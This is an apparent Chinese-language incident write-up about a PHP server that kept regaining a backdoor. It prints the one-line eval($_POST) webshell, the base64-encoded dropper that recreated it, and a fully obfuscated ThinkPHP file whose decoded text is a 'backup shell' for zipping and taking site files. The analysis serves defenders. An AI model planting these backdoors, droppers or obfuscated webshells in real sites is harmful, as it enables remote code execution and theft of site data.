PHP隐形一句话后门,和ThinkPHP框架加密码程序(base64_decode)

  今天一个客户的服务器频繁被写入:

  mm.php

  内容为:

  

复制代码 代码如下:

  <?eval($_POST[c]);?>

  最后查到某文件内的第一行为以下代码:

  

复制代码 代码如下:

  fputs(fopen(base64_decode("bW0ucGhw"),"w"),base64_decode("PD9ldmFsKCRfUE9TVFtjXSk7Pz4="));

  base64_decode("bW0ucGhw") //mm.php

  base64_decode("PD9ldmFsKCRfUE9TVFtjXSk7Pz4=") //

  <?eval($_POST[c]);?>

  这样,只要这些文件被访问就会自动创建 mm.php

  如果你发现了mm.php,删除了,以后还会再有的,真是越来越变态了~

  下以相关内容

  

复制代码 代码如下:

  PD9ldmFs //base64_encode("<?eval");

  ZXZhbA== //base64_encode("eval");

  还发现一个ThinkPHP框架—sgcms的相密文件,内容以下:

  

复制代码 代码如下:

  <?php // Code By isosky www.nbst.org

  $OOO0O0O00=__FILE__;$OOO000000=urldecode('%74%68%36%73%62%65%68%71%6c%61%34%63%6f%5f%73%61%64%66%70%6e%72');$OO00O0000=12308;$OOO0000O0=$OOO000000{4}.$OOO000000{9}.$OOO000000{3}.$OOO000000{5};$OOO0000O0.=$OOO000000{2}.$OOO000000{10}.$OOO000000{13}.$OOO000000{16};$OOO0000O0.=$OOO0000O0{3}.$OOO000000{11}.$OOO000000{12}.$OOO0000O0{7}.$OOO000000{5};$O0O0000O0='OOO0000O0';eval(($$O0O0000O0('JE9PME9PMDAwMD0kT09PMDAwMDAwezE3fS4kT09PMDAwMDAwezEyfS4kT09PMDAwMDAwezE4fS4kT09PMDAwMDAwezV9LiRPT08wMDAwMDB7MTl9O2lmKCEwKSRPMDAwTzBPMDA9JE9PME9PMDAwMCgkT09PME8wTzAwLCdyYicpOyRPTzBPTzAwME89JE9PTzAwMDAwMHsxN30uJE9PTzAwMDAwMHsyMH0uJE9PTzAwMDAwMHs1fS4kT09PMDAwMDAwezl9LiRPT08wMDAwMDB7MTZ9OyRPTzBPTzAwTzA9JE9PTzAwMDAwMHsxNH0uJE9PTzAwMDAwMHswfS4kT09PMDAwMDAwezIwfS4kT09PMDAwMDAwezB9LiRPT08wMDAwMDB7MjB9OyRPTzBPTzAwME8oJE8wMDBPME8wMCwxMTY1KTskT08wME8wME8wPSgkT09PMDAwME8wKCRPTzBPTzAwTzAoJE9PME9PMDAwTygkTzAwME8wTzAwLDM4MCksJ05TWGZZT0cvUXExeWF1ak00VzlFeDh0bEk3b0FIVmR3NWhEQ3oyQjBuc3ZQcFptS2diUjNKVUxlaytyNmNUaUY9JywnQUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVphYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5ejAxMjM0NTY3ODkrLycpKSk7ZXZhbCgkT08wME8wME8wKTs=')));return;?>

  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

  解密后为:

  

复制代码 代码如下:

  <?php

  echo '<html>

  <head>

  <meta http-equiv="Content-Type" content="text/html; charset=gb2312">

  <title>HakeTeam Website Backup V1.0 Beta - ';echo getenv('HTTP_HOST');;echo '</title>

  <style type="text/css">

  body,div,dl,dt,dd,ul,ol,li,h1,h2,h3,h4,h5,h6,pre,code,form,fieldset,legend,input,textarea,p,blockquote,th,td{

  margin:0;padding:0;

  }

  body {

  background:#EBEBED;

  color:#333;

  font-family:"Arial",Microsoft YaHei,Verdana,Helvetica,Arial,Sans-Serif;

  font-size:14px;

  }

  .textfield,textarea {

  border:1px solid green;

  font-size:14px;

  padding:2px;

  }

  .textfield:focus,textarea:focus {

  border-color:#F1CA7E;

  }

  .button {

  font-size:14px;

  text-decoration:none;

  margin-top:5px;

  background:#F5F5F5;

  border:1px solid green;

  color:#000;

  padding:2px 5px;

  }

  .button:hover {

  text-decoration:none;

  background:#EEE;

  border:1px solid #F1CA7E;

  color:#000;

  }

  pre {

  border:1px #ccc solid;

  line-height:18px;

  overflow:auto;

  word-wrap:break-word;

  max-height:220px;

  margin:4px;

  padding:4px 8px;

  }

  </style>

  </head>

  <form action="" method="post" name="postform">

  <div align="left" class="searchbox">

  ';

  ini_set('memory_limit','2048M');

  echo "<pre> ----------------------------------------------

  [<font color=#00BB00>*</font>]HakeTeam PHP Website Backup Shell V1.0 Beta

  [<font color=#00BB00>*</font>]Forum:http://www.hake.cc

  [<font color=#00BB00>*</font>]isosky's Blog:www.nbst.org

  ----------------------------------------------

  File List:</pre>";

  $fdir = opendir('./');

  while($file=readdir($fdir))

  {

  if($file=='.'||$file=='..')

  continue;

  echo "<input name='dfile[]' type='checkbox' value='$file' ".($file==basename(__FILE__)?'':'checked').'> ';

  if(is_file($file))

  {

  echo "<font face=\"wingdings\" size=\"5\">2</font>  $file<br>";

  }

  else

  {

  echo "<font face=\"wingdings\" size=\"5\">0</font> $file<br>";

  }

  }

  ;echo '

  FileType:

  <input name="filetype" type="text" id="filetype" class="textfield" value="" size="50">

  (Blank for all,use "|" to separate,e.g.:php|html|jpg) <br />

  Backup Directory:

  <input name="todir" type="text" id="todir" class="textfield" value="iso_backup" size="41">

  (Blank for this directory,use relative url,and you must be able to write file)

  <br>

  Backup Name:

  <input name="zipname" type="text" id="zipname" class="textfield" value="iso.zip" size="44">

  (.zip type file)

  <br>

  <br>

  <input name="backup" type="hidden" id="backup" value="dozip">

  <input type="submit" name="Submit" class="button" value="let\'s go!">

  <div align="center">

  <a href="http://nbst.org"><img src="http://nbst.org/logo.png" border="0"></a></div>

  <div>

  ';

  set_time_limit(0);

  class PHPzip

  {

  var $file_count = 0 ;

  var $datastr_len = 0;

  var $dirstr_len = 0;

